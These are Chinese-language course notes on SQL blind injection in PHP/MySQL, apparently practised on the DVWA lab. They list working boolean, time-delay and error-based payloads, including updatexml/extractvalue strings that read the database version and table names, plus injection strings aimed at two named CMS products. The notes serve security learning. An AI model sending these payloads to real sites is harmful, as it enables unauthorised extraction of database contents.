前言
第四部分小迪课程采用CMS环境,我并未搭建复现,直接用DVWA靶场练习SQL盲注。后续我会专门发文详解SQL盲注知识点与实操。
新手初学没必要折腾搭建CMS、修改源码,环境配置报错多,容易消磨学习动力。建议直接用DVWA这类现成靶场,专心练SQL盲注,把精力放在漏洞原理和利用手法上即可。
最后那个时间戳,因为前三个演示案例有点混讲的,时间有点模糊,但是案例部分是正确的。
知识点:
1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理
章节点:
Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中...
演示案例:
PHP-MYSQL-SQL操作-增删改查
PHP-MYSQL-注入函数-布尔&报错&延迟
PHP-MYSQL-注入条件-数据回显&错误处理
PHP-MYSQL-CMS案例-插入报错&删除延时
PHP-MYSQL-SQL操作-增删改查
1、数据查询
SELECT * FROM news where id=$id
2、数据新增 (新增用户、添加新闻等)
INSERT INTO news (字段名) VALUES (数据)
3、数据删除 (删除用户、删除新闻等)
DELETE FROM news WHERE id=$id
4、数据修改 (修改用户、修改文章等)
UPDATE news SET id=$id
PHP-MYSQL-注入函数-布尔&报错&延迟
盲注:注入过程中数据无法回显至前端,需通过判断/尝试获取数据,用于解决联合查询注入无效的场景。
盲注分类
1、基于布尔的SQL盲注-逻辑判断
核心函数:regexp、like、ascii、left、ord、mid
2、基于时间的SQL盲注-延时判断
核心函数:if、sleep
3、基于报错的SQL盲注-报错回显
核心函数:floor、updatexml、extractvalue
常用Payload
- 延迟注入
sql
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
注意最下面的查询时间接近10秒,可以依据这个判断数据库名。
- 布尔注入
sql
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
- 报错注入
sql
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
常用函数说明
sql
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5,反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1) #从左侧截取database()名的前1位
length(database())=8 #判断数据库名长度为8
ascii(x)=97 #判断x的ascii码是否等于97
更多Payload参考:https://www.jianshu.com/p/bc35f8dd4f7c
PHP-MYSQL-注入条件-数据回显&错误处理
PHP项目注入效果取决于输出结果 与报错开启状态 :
1、延时盲注:无需回显、无需报错
sql
and if(1=1,sleep(5),0)
2、布尔盲注:需要数据库输出判断标准
sql
and length(database())=6
3、报错盲注:需要数据库报错处理判断标准
sql
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
Delete注入测试
- 删除(延迟):
1 and if(1=1,sleep(5),0) - 删除(布尔):
3 and length(database())=6(无回显无法判断) - 删除(报错):
4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) - 源码↓:

PHP-MYSQL-CMS案例-插入报错&删除延时
1、xhcms-insert报错注入
sql
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
2、kkcms-delete延时注入
sql
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)
Q1:为什么SQL盲注(黑盒情况),优先用延时/报错?
- 布尔盲注依赖页面内容差异,真实黑盒站点页面无明显对错区别、干扰多,很难判断;
- 报错注入能直接爆出数据,效率高;
- 延时注入不靠页面和报错,只看响应时间,兼容性最强,是黑盒兜底首选。
Q2: 这个代码片段,可以使用什么盲注?(报错,延时,布尔)
答:只能用延时盲注,报错和布尔盲注都不可用,原因如下:
- 报错盲注 ❌:代码仅提示"删除失败!",未输出数据库错误详情,无法利用报错信息获取数据。
- 布尔盲注 ❌ :DELETE语句只要语法正确(无论是否删除数据),
mysql_query都会返回true,页面始终跳转到"删除成功",无法通过页面状态区分条件真假。- 延时盲注 ✅ :可注入
sleep()函数,通过页面响应时间的长短判断条件真假,不依赖页面内容或报错信息。
时间戳
- 文档简述 ------ 00:00:11
- 演示案例:PHP-MYSQL-SQL操作-增删改查 ------ 00:01:18
- 演示案例:PHP-MYSQL-注入函数-布尔&报错&延迟 ------ 00:12:35
- 演示案例:PHP-MYSQL-注入条件-数据回显&错误处理 ------ 00:28:40
- 演示案例:PHP-MYSQL-CMS案例-插入报错&删除延时 ------ 00:53:11

